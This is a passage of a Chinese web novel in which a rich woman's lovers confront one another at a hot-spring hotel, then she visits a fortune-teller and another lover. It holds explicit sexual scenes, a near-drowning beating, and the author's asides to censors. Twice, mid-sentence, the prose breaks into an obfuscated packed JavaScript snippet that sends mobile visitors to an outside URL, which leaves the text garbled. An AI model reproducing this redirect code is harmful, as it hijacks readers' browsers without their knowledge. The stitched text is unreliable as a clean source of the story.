两人说着说着变了味道。低俗如他们,聊天不聊荤就跟买iphone只为了打电话一样罕见。廖爱珠用iPhone当然不止为了打电话,“你哪大呀?” “宝贝,我订了温泉酒店。”程励娥夹着iphone在书房轻轻挥动高尔夫球杆开黄腔,“哪大你过来看看不就知道了。” 气氛酝酿到这廖爱珠再推脱就说不过去了,本来她上一次就没尽兴,这回程励娥发出邀请当然机不可失。她挂断电话起身洗漱打扮,两小时后来到对方给的地址。 风月路上的酒店是目前南湖市最顶级的温泉酒店,才开业不到半年已经成为名流商贾的消遣新宠。 廖爱珠按照交待直接上楼,一出电梯便遇到程励娥的助理早早等在门口将房门钥匙给她。 “程励娥没在吗?” “程董临时有个公务被绊住了,交代我先来这等您。”助理说完做个请的手势,“房间已经布置好了,程董还为您订了spa,现在要叫技师上来吗?” “等会吧。”廖爱珠摘下墨镜撇嘴骂了句狗东西,心里美滋滋乐开了花。 酒店依山而建,内部全是靠横竖廊道贯通,错落在各处的豪华大套房。屋子门一推开便能看见冒着烟的汤泉和辽阔山景,主打一个泡着温泉将城市的湖光山色尽收眼底。 清酒和水果精致摆盘放在温泉池边,廖爱珠扫了一圈,把包一扔,先去洗漱准备。 半小时后,她脱下浴袍缓步走入池子,举起手机拍了张自拍准备发给程励娥。消息还未点发送外面便传来开门声,她想都没想哗啦从水里起来,清清嗓子娇滴滴地喊:“宝贝!” 外面的人握着门把僵住动作,房间里水声淅淅沥沥响个没完。 汪驰文眼睛都看直了。 自从寿宴后他便彻底迷上廖爱珠,不见的这几天里汪驰文魂不守舍,到处打听廖爱珠的行踪,连休息的日子也守在酒店门口只为看她一眼。如今日思夜想的女神就这么站在自己跟前,嘴里还喊着他宝贝,是他连做梦也不敢想的画面。 “怎么是你?” 质问将汪驰文拉回现实,他脑子乱作一团,发现自己有了反应慌张捂住身下,憋红了脸支支吾吾说不出半个字。 “呃……” 廖爱珠看着对面那个楞头小子先是一惊,随后升起一股不悦。他出现的很不是时候,才约了一次就知道主动找上门可不是省油的灯,这种随手勾搭的小杂狗只有自己去找他的份,没有他找上门来的机会。 汪驰文显然也瞧出廖爱珠的冷淡,激动的心情瞬间被浇了盆冷水,站在门口犹豫着要不要进去。 “站那干吗,还不快关门。” “哦哦,好。” 说话间的功夫,廖爱珠从旁拿起浴袍穿上朝他走去。 “谁叫你来的?” “是程董让我过来……过来找他的文件是不是落在这里。” 汪驰文撒了谎,他会过来是因为昨天程励娥突然到酒店说廖爱珠要见他。虽然其中十有八九有猫腻,但他想见廖爱珠的心还是战胜了怀疑。现在人见到了,说明程励娥没骗他,汪驰文也很知分寸没把真相说出来。 “放屁,是他让你来这找我的吧!”拙劣的借口自然骗不过廖爱珠。程励娥那混蛋上次才说享齐人之福,这回就把人送到跟前,用脚想都知道是怎么回事。她抓起电话打算给人一顿臭骂,可魔高一丈如程励娥根本不接。 “狗东西,有胆子玩没胆子接电话。” 廖爱珠气得跺脚,回身狠狠甩了汪驰文一耳光把火撒对方身上。眼下气未消,她脱了衣服重新泡进池子,凶巴巴冲身后命令:“过来给我按摩。” 汪驰文捂住脸站在原地,耳朵里嗡嗡的依稀听见廖爱珠又说一遍:“给我过来!” 他眨眨眼,反应过来后跟中彩票似的小跑上去伺候。 雾霭氤氲,几片玫瑰花瓣在水中翻滚。程励娥订的spa今天是用不上了。汪驰文比谁都尽心尽力服侍,没一会就让廖爱珠的火化成嫣红蔓延在白白的皮肤上。 “捏捏我的肩膀。”廖爱珠的声音有几分虚,软软的带着酒气,两三杯清酒下肚她眼神迷蒙已经有了醉意。 一缕湿发弯曲贴着廖爱珠的脖子,汪驰文跪在池边小心翼翼用手指将它捻起,又顺着盘发的纹路重新塞回去,然后又专注手上功夫,尽最大努力让池子里的人舒服。 温泉的热气也让他大汗淋漓,湿透衬衫紧紧贴着胸肌,若隐若现的身影透过玻璃窗叠在山景之上。 廖爱珠目不转睛盯着窗前,忽然向后一仰使得正在捏肩的双手猛地滑向胸前。 “廖,廖总……” “叫姐。” 气氛正佳,现成的美男温泉大软床,不做点什么太对不起程励娥付的房费。廖爱珠一把按住他手,仰起头抚摸那张绯红的脸庞魅惑道:“你想摸哪就摸哪。” 汪驰文听到廖爱珠暗示又惊又喜,随即开始满脑子炸烟花,马上准备好了提枪上阵。 哗啦!水破雾散彻底打碎暧昧,房间好像下了一场雨到处湿漉漉的。 两人抱在一块难分难解。 房门这时又响了。 凉风吹进,汪驰文看向门口吓得呆住。 门外,覃原祺和许怡宸正站那盯着他们。 * 人与人之间相处有时候不得不讲气场。找对象是这样,找工作亦是如此。 汪驰文就觉得自己可能跟老板八字不合,不然也不能连着两回行苟且之事都被逮个正着。房间里气温骤降,空调口喷出滚滚冷气,他光膀子穿一条工装裤靠在墙边,看着对面三人鼓足勇气开口:“要不我先回……” “来都来了,不介意一起吧?”沉默良久,覃原祺平静开口,说完扯掉领带,将外套、衬衫、西装裤一件件脱下,光溜身子踏进温泉池。 许怡宸见状似笑非笑瞟了廖爱珠一眼然后也开始脱衣服,“姐,我俩来没打扰你吧?” 廖爱珠脑子发懵,望着这俩活阎王一左一右把她困在温泉池中木然问道:“你们想干什么?” 问题多余,覃原祺坐在她身边闭目养神,平静回答:“捉奸,弄死你。” “你捉哪门子奸?”酒精作用下廖爱珠的脑子翻江倒海,从刚才覃原祺进屋到现在始终怀疑是自己喝多了做梦,不然她但凡长根屌都得让这俩货吓成阳痿。 “当初谈好了给我三个月,怎么还出尔反尔?” 今天这出纯属临时起意。自马场那一遭之后覃原祺便和许怡宸达成统一战线找人查廖爱珠。原本按计划是要等老爷子丧事办完了再 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“你为难他干吗?”温泉池的热度糊得人喘不上气来,廖爱珠想跑跑不了,不耐烦拍打水面,甩出道银光咚地砸出水花。 水滴溅在覃原祺脸上,他抬手一抹,抹出森然寒气,“你居然护着他。” “我哪护着他了?你别胡搅蛮缠。” 说者无意听者有心,汪驰文抱着胳膊蜷缩在墙边感动得心潮澎湃,连忙插话:“姐你别生气。程董说他一会就来。” 这话引得许怡宸侧目,毫不客气骂道:“臭瘪三,姐也是你叫的?” 温泉池两侧突然涌出水流,水温瞬间升高。热度搅着空调的冷风变成一股股烟雾飘散四周,如同战场上的硝烟。 覃原祺气极反笑:“廖爱珠,我当你跟程励娥玩出感情,没想到你看上的是这个瘪三。” 廖爱珠张着嘴顿觉荒唐,“这都哪跟哪?” “那我把我哥叫来一起谈谈。” “覃原祺,你这就没意思了!” 覃原祺反问她:“那你说怎么样有意思?” 廖爱珠又急又气也不敢发作,只能和他打商量:“非得这么泡着谈事情吗?你先让我穿件衣服好不好?” “把程励娥那王八蛋叫过来就让你穿衣服。” “我还找那孙子呢!你们什么破设备没听见我刚才打电话找不着人吗?”廖爱珠欲哭无泪大喊,她到现在也没想明白房间明明是程励娥开的,怎么除了他全都来了。 许怡宸在旁说风凉话:“覃原祺你看我说什么来着,叫你忍一忍一网打尽,现在可倒好,就抓住个瘪三有屁用,吊城门楼子上都不带有人多看一眼。” 覃原祺不耐烦回嘴:“有能耐你干,你连个瘪三都抓不着。” “你怎么知道我抓不住瘪三?这瘪三没有我的人你能抓到?” “你大哥在寿宴出洋相那天我就逮到这瘪三和廖爱珠开房了,轮得上你在这掺一脚邀功?” “你了不起,抓个瘪三还得意上了。廖爱珠拿他当宝护着你连屁不敢放。” “你再说一个?” 汪驰文在一口一个瘪三中确认了自己是廖爱珠的真爱,竟然壮起胆子开口劝覃原祺和许怡宸有话好好说,让两人异口同声骂道: “闭嘴,瘪三!” “闭嘴,瘪三!” 廖爱珠被他们吵得脑袋嗡嗡响,一阵一阵犯恶心,扯着嗓子叫喊:“我说你们俩能不能别吵了,你们都是瘪三都是瘪三!” 她吼完胃里忽然涌上一股酸,还来不及反应便转头哗地吐在了果盆中。呕吐声中夹杂一阵细微的金属开合声。程励娥举着香槟晃了晃, 7. 温泉修罗场(下) 东家登场好戏才能开锣。 “王八蛋,就等你了。”许怡宸不耐烦冲身后喊。 程励娥没有半点被抓包的慌张,乐呵呵将香槟放一旁自动自发脱衣服一起下来泡澡。 覃原祺从池边拿起手机打给贺恩,不稍片刻,一位面容清俊戴银框眼镜的男人拉着个粉雕玉琢的漂亮公子哥进屋加入洗浴大队。 廖爱珠颓然靠在池边,望着屋里的人面容死一般惨白。 “开心吗?新欢旧爱都在这。”覃原祺将她异样的神情尽收眼中,俯身在她耳边恶意嘲弄,“不要辜负我送你的惊喜。” 池边清酒杯碰倒叮一声撞在大理石台面,汪驰文冲向门口要走,被贺恩一脚踹倒将他架起来扒光丢进池子。 水面漾开扭曲了几人倒影,一个个如同吸血索命的魑魅魍魉。池里几个男人看猴戏般望着汪驰文冷笑。许怡宸抹把脸,冷不丁冒出一句:“我哥说的没错。” 风月路这间温泉酒店的浴池很大,大得能容下一个女人和她的五个姘头。 “喂,把烟拿过来给我们点上。”许怡宸在水下朝汪驰文踹去。这一脚踹得不重但一连串事情狠狠挫伤了汪驰文七尺男儿的自尊心。士可杀不可辱,况且还是在自己女神面前。他梗着脖子在一旁硬是装没听见,死样把许怡宸瞧出火来,“跟谁俩呢摆一副三贞九烈的样,瘪三!!” “你们有钱就了不起吗?”后半句话汪驰文没说,缠缠绵绵看了廖爱珠一眼。许怡宸气极反笑嘲讽:“瘪三你先有俩钱再说吧,睡你两回还以为自己是真爱了?” “姐。”汪驰文瞪大眼憋红脖子大声道,“我不是瘪三!”说完委屈巴巴带着哭腔朝廖爱珠喊,“姐你说句话啊!” 泥菩萨廖爱珠扶额沉默,思忖半晌,抬手指了指虚空,有气无力回答:“那个,瘪,瘪先生,去把烟点上。”她甚至没记住这个只见过两次面的小伙子叫什么。本来就图个一时新鲜,谁会管他姓赵钱孙李还是周吴郑王,以廖爱珠的记性撑死只能记住他屌大活好。 汪驰文心哗啦啦碎一地,还没从悲伤中回神便叫突如其来的一拳揍歪了脸。 池子里瞬间炸锅,水波翻腾,他被按进水里剧烈挣扎。廖爱珠躲边上捂耳尖叫,门外服务员上来询问状况被贺恩三言两语挡了回去。人刚走,门内又传来惨叫。 覃原祺拽住汪驰文的头拉出水面缓上一分钟然后再按下去,按着的时候眼睛冷森森盯住廖爱珠。大概循环了五六次,他终于收手把人扔麻袋一般丢在旁边。汪驰文气喘震耳欲聋,狼狈趴在池边蜷着身体瑟瑟发抖。 如今这一闹算是彻底捅破了窗户纸,许怡宸扫一眼覃原祺,冷嘲热讽:“好一出杀鸡儆猴的戏码,下一个你想揍谁?” 廖爱珠脸上一阵青一阵白,抱紧双臂止不住打哆嗦,生怕下一个要按进水里的就是自己。 “廖爱珠。”覃原祺气势汹汹,“我们结婚,就在华悦摆酒。” 廖爱珠吓得几乎昏死,已经分不清这是求婚还是威胁,耳朵只听到“廖爱珠”三字便嗡嗡作响。 屋中死一般寂静,程励娥这时放声大笑,笑得像离岸抽搐的鱼。谁都无法掌控下一秒的走向。 “好玩,比3p有意思……” 过了一会许怡宸拿出烟叼在嘴中一上一下奚落道:“覃原祺你不就为了那点股份,实话实说又不丢人,装大情种过分了啊!”他说完低头点火,深深抽了一口将烟雾尽数吐出,“又不是不知道你什么德行。” 覃原祺拨弄手中打火机。每响一下都像在拨弄一颗算盘珠子,他也点燃一根烟说道:“这事不需要你们赞同。” “哈,董事会那套还想故技重施。”许怡宸说,“把我们当那群老帮菜忽悠呢?” “没有。”覃原祺掸掸烟灰仰起头,“你们更好对付,在我眼里都是一群瘪三。” 程励娥兴高采烈插话:“抢香饽饽的事也算我一份。” “拼好饭呢算你一份,吃屎怎么不见算你一份?”许怡宸懒得多看这变态一眼,“我他妈跟你待一个池子里都膈应。” “动不动就吃屎,你吃过啊这么费劲巴力推荐。” “你个臭流氓闭嘴!” “你装什么清纯正义?嫩模一打一打进你包厢的场面圈子里谁没见过?” “你拿我姐和那帮人比?!” “别吵了!”覃原祺沉声喝止,然而效果不佳,许怡宸继续指着程励娥骂骂咧咧:”就你个龟孙王八蛋臭贫。” 程励娥:“谁先开始的,不就你臭贫。” 许怡宸:“那找瘪三搞变态是不是你的主意!” 覃原祺:“我叫你们别吵了。” “啊,是,是我的主意。”程励娥坦坦荡荡承认。 覃原祺:“说他没说你是吧?” 许怡宸:“你骄傲什么?!臭不要脸。” 他们每说一句覃原祺心中火气便积压一份,一旁廖爱珠始终低头装死。这副死猪不怕开水烫的模样让覃原祺恨不得把她咬碎,他回身恶狠狠逼问她:“今天你不给个准话谁也别想走出房间。” “说什么?”廖爱珠还未来得及说,许怡宸枪头一转又对着覃原祺开炮:“你先把家里那个蹬了再谈娶的事。小舅子还在这看着呢臊不臊的慌!” 这话臊没臊到覃原祺不清楚但是结结实实把廖爱珠给臊着了。她干脆死死闭着眼不再做任何回应,生怕那三个阎王合起伙来索命。那三人倒也没怎么继续为难她,嗡嗡的跟杀人蜂一样话头一转又冲刘尉迟发难。 覃原祺看向池子角落处问:“刘尉迟你说呢?” 刘尉迟什么也说不出。他在附近买车被姐夫一通电话喊来。见这副香艳四溢的场面以为是邀请他参加什么道德边缘的大联欢活动还有点兴奋,后来看见覃原祺干的事才发现这哪是大联欢,这是清君侧打小三来了。 而且自己还是被打的那个。 “姐夫,我错了。” “你错哪了?” 刘尉迟扑通跪池子里哭丧道:“不该睡嫂子。” 程许两人爆笑出声,不留神打翻了烟灰缸。几颗火星子落在衣服堆上烫出极为不显眼的焦褐色点子,洒落的烟灰被空调一吹飘得到处都是,让室内气味浓烈得令人作呕。 廖爱珠受不了这味道干呕几声,穿上浴袍爬到沙发休息,远离那群魔乱舞的池子。 几个男人还为搏美人芳心唇枪舌剑,吵到后来似乎也和廖爱珠没多大关系。他们自顾自发起投票,打算像搞总统竞选那套决定谁来做廖爱珠的丈夫。 “叔嫂通奸还敢在华悦摆酒,覃原祺你哥还没死呢,想让我姐被吐沫星子淹死就直说。”许怡宸展开双臂靠在池子边,夹着烟摆出一副神挡杀神的架势火力全开。 “不嫁给我难道嫁给你?姐弟□□说出去就给廖爱珠长脸是吧?”覃原祺不遑多让立刻反击,“许家二少爷当初怎么不娶她?是不娶还是人家根本看不上你?” 程励娥这时插话:“要不嫁我得了,我这人接受开放式关系。” “我说程励娥你能不能拿着你那套恶心下流的思想滚一边去。”许怡宸夹着烟指他破口大骂,“哪哪都有你插一杠子,闲得慌就去吃屎!吃屎!” 覃原祺赶在程励娥开骂前又把话头抛给刘尉迟问:“你什么意见?” 刘尉迟指着汪驰文下面来了一句:“你jb真大啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488396|202121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎呀我说——”许怡宸简直服了这帮妖魔鬼怪,“喜欢你舔两口,还能不能干点正事了?” “什么时候抢嫂子和睡姐姐也算得上正事?”程励娥挖苦。 刘尉迟可怜巴巴解释:“那玩意儿太大了晃眼睛让我没法思考,再大点属于残疾了吧?”他这话一出其余三人纷纷盯着汪驰文,看得汪驰文脸刷一下通红,连忙捂住□□求饶:“就,就是正常范围。” 他已经被这几位吓破了胆,空有大屌,但屌大无用,被覃原祺揍服了之后基本毫无威胁可言。 “我姐这不是挺会挑男人,怎么选老公眼光这么差?”许怡宸呵呵一笑,伸手拿酒却抓了空。 “这样吵下去永远没结果。”覃原祺已经失去耐心,“你们不会以为只要得到人就有资格在集团说话吧?” 他把许怡宸的酒杯拿到自己身旁将烟屁股丢进去,“有些棋我能走,而你们连上桌的资格都没有。咱们打开天窗说亮话,今天我把人都找来的目的就是让你们睁大眼看清楚,廖爱珠到底是谁的人。” 覃家的股份是给覃家的媳妇,换言之谁是覃家的媳妇谁手里就有股份。廖爱珠想带着股份走出覃家绝对不可能。 “那就是没商量余地了?”程励娥说。 覃原祺回答:“让廖爱珠选,但只能选我。” 屋里硝烟四起,连空气中都闻到一丝焦灼。 一点亮光在旁若隐若现,最先发现不对劲的是汪驰文,不知是谁的烟头扔在浴袍上,一阵浓烈的焦臭后火势迅速蔓延,他哗啦一声站起来惊呼:“着,着火啦!” “瘪三坐下,我的脸不想对着你的屌。”许怡宸顺手捡起一条不知道是谁的裤衩子朝他扔去,黑色裤衩在空中划出圆润弧度精准坠落起火点,给小火苗燃烧添砖加瓦。 房间里气氛一瞬间凝滞,但池中几人依然稳如泰山。 他们雪中送炭的事是不会的,但火上浇油各个是翘楚。 程励娥抻个懒腰,慢条斯理拿起手边香槟砸向火源,火势暴涨冲天。 汪驰文着急忙慌爬到岸上试图灭火,厚浴巾扑打了一阵火势越来越旺,他又开始到处找容器舀水。 “救火啊!你们坐着干吗呢!?” “要,要不先走吧?”刘尉迟犹犹豫豫把屁股抬起一点,被覃原祺狠狠一瞪又老实坐下不敢吱声。反正坐这一定不会死,但是站起来会不会就难说了。 温泉的热气和焦火的烟气让室内灰白一片,程励娥点燃一根烟,然后把烟盒丢给覃原祺,“走着瞧,三十年河东三十年河西,都别太自信了。” 覃原祺:“我原话奉还。” 许怡宸:“那就瞧瞧廖爱珠到底选谁?” 汪驰文这傻大屌摸到个带水的盆也不看就直接泼,泼完直到火苗散发一股浓烈恶臭他才发现拿的的是廖爱珠刚才吐过的果盆。 屋子彻底不能待了,但是没有一个人起身,池子里的人都虎视眈眈盯着对面。 时间一分一秒的磋磨,如同身在阿鼻地狱中煎熬。这时一声尖叫划破僵持,烟雾中有道身影怒火冲天伫立在沙发前。廖爱珠胸膛起伏喘着粗气跳起来破口大骂:“姓瘪的!我选姓瘪的!!” 她忍了这帮王八蛋这么久,原想着自己理亏让他们闹一闹就算了,现在竟然还想放火烧死她。这帮人就是一群该下地狱被鬼艹烂□□的贱货! “神经病——!!神经病——!!”廖爱珠抱住腰疯了一样朝他们嘶吼。她打开门,见贺恩早已放上两桶水在门外冷静等候直接给他一巴掌骂道:“都是一群神经病!!”然后又冲回屋里把那帮臭老爷们的衣服统统踢到走廊上,叫骂着逃走。 整个过程没用一分钟, 8. 棒槌(审核不让过第18次) 一大早,廖爱珠开车去了半山新买的豪宅。 覃原路上周带着大师回家,人到覃宅门口死活不肯下车,非说宅子里的气与自己相冲。 覃原路心领神会立刻带人去新买的半山别墅落脚,折腾了好几天才总算把人彻底安顿下来。 雨后山中空气湿润,林中大道隐秘在云山雾罩中跟通往仙境似的。雾气里黑色栅门缓缓拉开,几辆送餐车鱼贯而入,才稍稍显露幽深静谧的宅院。 “大师,怎么样?”廖爱珠跪坐在院子里看着对面小心翼翼询问。她特地趁天没亮就赶过来,摸黑陪着打坐禅修,假模假样从丧事一路天南海北聊到日头高照。 一缕阳光射进院落,南湖早夏的太阳已经初具毒辣之势。花园中央一个胖墩墩穿黄T恤的中年男人盘腿坐在半湿的蒲团之上,眯眼回道:“进屋里说。” 偏厅里热水正沸,佣人将屏风推到一侧挡住刺眼的阳光。小木桌上摆着几碟点心是覃原路特地交代酒店做了送过来的,廖爱珠搀着人坐在榻上伺候着点香泡茶,等了半天胖师父吃饱喝足才捻一下嘴角痣上的毛开口问:“好好的姻缘为什么要断?” 廖爱珠愁眉苦脸:“我也是迫不得已。” “迫不得已?“大师疑惑,”没道理呀,你和阿路八字相合,你们夫妻的日子过得不顺吗?” 廖爱珠低头摸着木桌边沿,寻思和覃原祺的事也不能明说,想了半天只好回答:“日子见招拆招过,哪有人完全一帆风顺的。” “这就对了,能拆招就是顺!” 男人低头抿一口茶,听见对面追问:“大师,我是说如果分开不行吗?” 师父听这话一掀眼皮盯着对面,目光锐利问道:“你在外面有人?” 廖爱珠语塞,犹豫要不要明说。她算不上外头有人,就是从东边屋子搬到西边屋子的区别。 不等她回话,对面告诫道:“爱欲为因,爱命为果。”男人随手从桌上拿来钢笔在餐巾纸上边写边说,“无奈人心渐开明,贪嗔痴恨爱恶欲。酒色财气集一身,自造地狱不可拔。” 贪嗔痴恨爱恶欲七个字歪歪斜斜渗透纸页。 廖爱珠赶紧问:“怎么解?” “一切生死忧悲苦恼皆因爱欲而起,切勿沉沦其中,方可躲过此劫。”师父在爱字上画了个圈中气十足喊道,“修身安心!” 一番话听得人云里雾里。 廖爱珠本意也不想和覃原路分开,可如今外面情夫们闹起逼宫让她处在两难境地,似乎分不分都是死路一条。 “大师,那我要怎么安?还能出门吗?这,这劫什么时候会过?”她语带焦急,渴望从天道神明这求得解脱。 “等过的时候你就知道过了。”男人狠狠点她的脑门,“说这么明白再参不透那就是个棒槌!” 手指骨敲在脑门上咚地一声,从没有人这样敲过廖爱珠,不疼但是声音忽然让她浑身一震。像是被某种力量摄住,她双眼毫无焦距愣愣地望着前方,不知看到了什么。 院中泰山石上被砸出一颗深色花点子,接着第二颗,第三颗…… 山中忽然下起小雨。 汽车嘟噜噜在雨中发动,窜起一股白烟随着山路划出弧线。前方盘旋的公路上忽然降下奶白色的云雾,红色跑车亮起车灯,廖爱珠坐在车上连打两个喷嚏,突然感觉自脚趾一路冷到后脑勺,战战兢兢驶向雾中。 微信提示音响起,是贺恩发来消息,“一切处理妥当。” 他指的是昨天大闹酒店的事情,这事廖爱珠不关心,她清楚那几个始作俑者有本事闹事也有本事把事情摆平。 贺恩紧接着发来第二条消息,是张图片但很快撤回,等红灯的时候廖爱珠恰巧看到。 大道理易懂,难的是身处其中依然有纵观全局的眼光。廖爱珠自觉不是那种人,她能苟活到今天全靠命好,真要靠她自己做什么决定反而到不了现在的程度。 有了这层认知她稍稍从方才焦虑的情绪中解脱,反正未来变幻莫测,自己这点能耐根本靠不住,不如今朝有酒今朝醉。 过了一会贺恩又发来第三条消息,也是张图片,是一桌色香味俱全的家常菜。 廖爱珠拐了个弯将车停在路边,想了想给他回复两个字:“想吃” 片刻,贺恩回复消息:“想吃哪个?” 廖爱珠笑骂一句闷骚,然后一踩油门驶向南边旧城区。 * 南湖市有几个旧城区近年来一直是重点关注区域,其中以南边湖下片区最为出名。片区内道路复杂,加之以往各股势力盘根交错使得区域里形成许多庙宇祠堂,经过岁月沉淀这些建筑如今变成旅游景点又给城区带来了另一番生机。 廖爱珠小时候就住在这里。在她印象中这里的天就没亮过,无论那条路上永远都是层层叠叠的铁皮棚以及一件又一件湿漉漉的衣服。 “烦人,该换辆车再来。”廖爱珠勉强把车停在社区外的一座旧商场里,“啧啧,我的鞋不能走路。”她给贺恩打去电话,不过十分钟人便拿着一双粉色拖鞋朝她走来。 “怎么这么慢?”廖爱珠一边低头换鞋,一边埋怨。 “你打电话时我正在炒菜,断火味道不好。” “做了什么菜。”廖爱珠将换下的高跟鞋甩给他,自顾自走在前面。 贺恩拎着她的鞋跟在后面不远不近,回答:“都是你爱吃的。” 廖爱珠点点头,熟门熟路走到一栋灰绿色老破小的大门前。铁门上锈迹斑斑叠加层层白纸残留的胶痕,突兀围着中央崭新的对讲机。 “你还要在这住多久,快点攒钱买套房。” “这里不会遇见熟人。”楼下大门形同虚设,贺恩一边解释一边使劲将大门拉开,廖爱珠直接走上二楼进屋。贺恩家房门虚掩,在楼梯上就闻到阵阵饭香味。 浓郁的卤汁味让廖爱珠不再计较这破烂地方,她进门换上准备好的拖鞋径直走向饭厅,“炒田螺,呦,还卤了鸡爪!” “上次你说想吃学校小卖部的卤味,我特意去找了以前在那的阿姨要了方子。百分百复刻是不可能了,味道只能还原九成。”贺恩收拾妥当跟在后面,“但是绝对健康。” 廖爱珠转身揽着贺恩的脖子送上香吻一枚,“奖励你,小老公真棒!”唇瓣若有似无擦着他耳廓挑逗,玩笑般问,“你说我先吃哪个好呢?” 男人表情平静,与廖爱珠紧紧相贴。 一盆卤鸡爪。连皮带肉浸透了汤汁,厚的地方软糯,瘦的地方筋道。 吃鸡爪就应该狠狠地啃,舌头吮吸汤汁,牙齿拽下皮肉。掌中最美味的一块反复舔舐,直到香味糊了满脸。 ”够了。“廖爱珠说。 原木风房间里影子在橙黄阳光的边缘不断交织摇晃,淡淡香薰味伴着暧昧的爵士乐波动起伏,低沉男声一鼓一动,温和却不容抗拒地从音响网罩之内迸发。 盆栽里一道嫩芽悄无声息钻出土壤,一滴水从艳阳中落下打在幼叶上。种子萌发是一系列复杂的过程,强烈的求生欲让它竭尽全力从土壤、阳光、水分中抓住自己的命运,喷薄的生命力一次又一次回荡在空气中试图冲破残旧的楼栋。 阎浮众生,举心动念,无不是罪。 男女拥抱着,用伴侣间最普通的姿势,让人恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488397|202121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惚有种在过平凡夫妻小日子的错觉。裹住身体的双臂带来的不是窒息反而是一种安全满足。 “我们应该多做。”廖爱珠说,“和你做很舒服。” 廖爱珠没与贺恩做过几次,她每次都挑着来月经的时候跑到贺恩这,就为了能享受对方无微不至的照顾。太久没做廖爱珠都忘了贺恩有多棒。 她的手来回摸着对方下巴,腻歪够了拍拍他肩头,而后腾出手从床头柜拿来烟享受地抽上。 经过昨天那出闹剧廖爱珠算是想明白了,找男人图的就是舒心,能有一处地方躲起来充充电然后戴上面具继续当人。 情人不求多厉害,新鲜刺激也都是一时,QQ再大也抵不过嘴甜贴心,更别提仗着点情分就开始作威作福找茬闹事的。 “这几年没想过找个人结婚?” 贺恩不正面回答,接过她手里的烟抽上一口反问道:“突然说这干吗?” 廖爱珠又问:“你这房子给哪个女人准备的?” 屋子布置很柔和,与贺恩的性格截然相反。在廖爱珠的印象中他的房间应该只有一套桌椅和折叠床,像宿舍一样贫穷乏味,这样温馨的装潢完全不符合贺恩的风格。 “没有背着我交女朋友?”廖爱珠打趣他,“技术这么好,有人教你吧?” 贺恩神态放松,将烟抽完扔在床头柜上香烟造型的陶瓷烟灰缸里,说:“和你在一起怎么找?” 这几年廖爱珠要求他随叫随到,家中布置也按照她喜好一点点弄起来。两人相处像公主与仆人,稍有不顺廖爱珠就会闹脾气折磨贺恩。说是一回事,真让她知道贺恩有别人估计要把这房顶给掀翻。 “每天上下班,闲着的时候不是和你在一起就是在等你。我哪有精力找女朋友?” 廖爱珠听见这话心中得意,表面依旧板着脸继续审问:“一夜情也没有嘛?” 她这番故作姿态在贺恩眼中十足十的娇俏小女人,这副吃醋模样非但不惹人厌反而还很讨喜。不得不说廖爱珠确实有资本能让几个男人为她争得头破血流。 “我只有你一个女人。”贺恩回答。 廖爱珠眉开眼笑,犹如凯旋的将军趾高气昂。(to审核:不能笑吗?) 谷欠QQ顺着皮肉滑入相斫之中,诡诈交叠碰撞,QQ插出一切苦恼的根源…… 爱可生爱,亦可生憎。沉沦贪爱中人便牵起无数痛苦与执着,让执念在不知不觉间沁入人心中生根发芽。 音响里的男音还未唱完最后一个音符便被按下停止,床褥上细小凌乱的折痕还在热腾腾冒着气,廖爱珠早已离开,一室狼藉中却又陆陆续续传来呻吟。在刚才两人QQ过的主卧隔壁有一间上锁的房间,廖爱珠从来没有进里面参观过。如果她进去了就会发现那里只有一张折叠床和一套桌椅以及满墙对她的恶毒诅咒。 (to审核:以上四段没有任何开车的意思,能别看到几个字眼就一直锁吗?) 呻吟还在持续,充满了怒火与痛苦。贺恩赤裸上身,手拿皮带狠狠抽打自己,嫌恶地恨不得将廖爱珠刚才摸过的每个地方都抽得皮开肉绽。世间上最诛心的惩罚莫过于在憎恶的人面前说爱她。 这些年贺恩每一次和廖爱珠做QQ以后都要打自己一顿,只有抽打带来的刺痛才能稍稍缓解他心中的恶心。 皮肉上青青紫紫的瘀痕渗出血珠,贺恩闭眼微仰着头像是得到了解脱。 由怨毒与憎恶来来回回交织成一张网将他困住。贺恩恨自己为了生活必须虚与委蛇, (to审核:自己打自己我不懂哪违规了,发文审核标准里没说不能自己打自己) 9. 路有冻死骨 廖爱珠从贺恩那离开后前往医院。廖董在医院休养了几天闹着要回家,打电话给廖爱珠让她过去接人。车开到半路,覃原路打来电话说他去处理。见老公操持,廖爱珠也乐得清闲,直接拐回自己的小家休息。 “这玩意儿怎么拿回来了?” 客厅一角突兀的金光闪闪,原先放木雕的摆台上占着覃宅那件俗气的镶南红玛瑙三足大金蟾朝她耀武扬威。 覃老爷子喜好收藏,家中奇珍异宝成堆,有不少物件是他还在的时候就交代分给两兄弟的。等待尸检结果的这段日子覃原路一点没闲着,每天没完没了的东奔西跑处理覃宅事务。廖爱珠千叮万嘱不要这个大虫合蟆,没想到覃原路这没长耳朵的还是给她带回来了。 “是大师要求一定要拿回来的,说与先生的八字喜用相合。” 廖爱珠无话反驳,翻了个白眼把骂人的话憋回肚子里打算揭过,没想到身旁佣人没眼力见又在那火上浇油多嘴:“那件帝王绿大翡翠放到二少家里,上午搬的时候还把电梯压坏了。” 翡翠是廖爱珠一早相中的,之前还跟覃原祺说过让他别拿。廖爱珠盯着身旁问:“翡翠好看吗?” “好看。” “那你去二少家看吧。” 佣人抬头看见廖爱珠那冷飕飕的眼神赶紧找补:“也没那么好看……” “是吗?我看中那件翡翠很久了。” 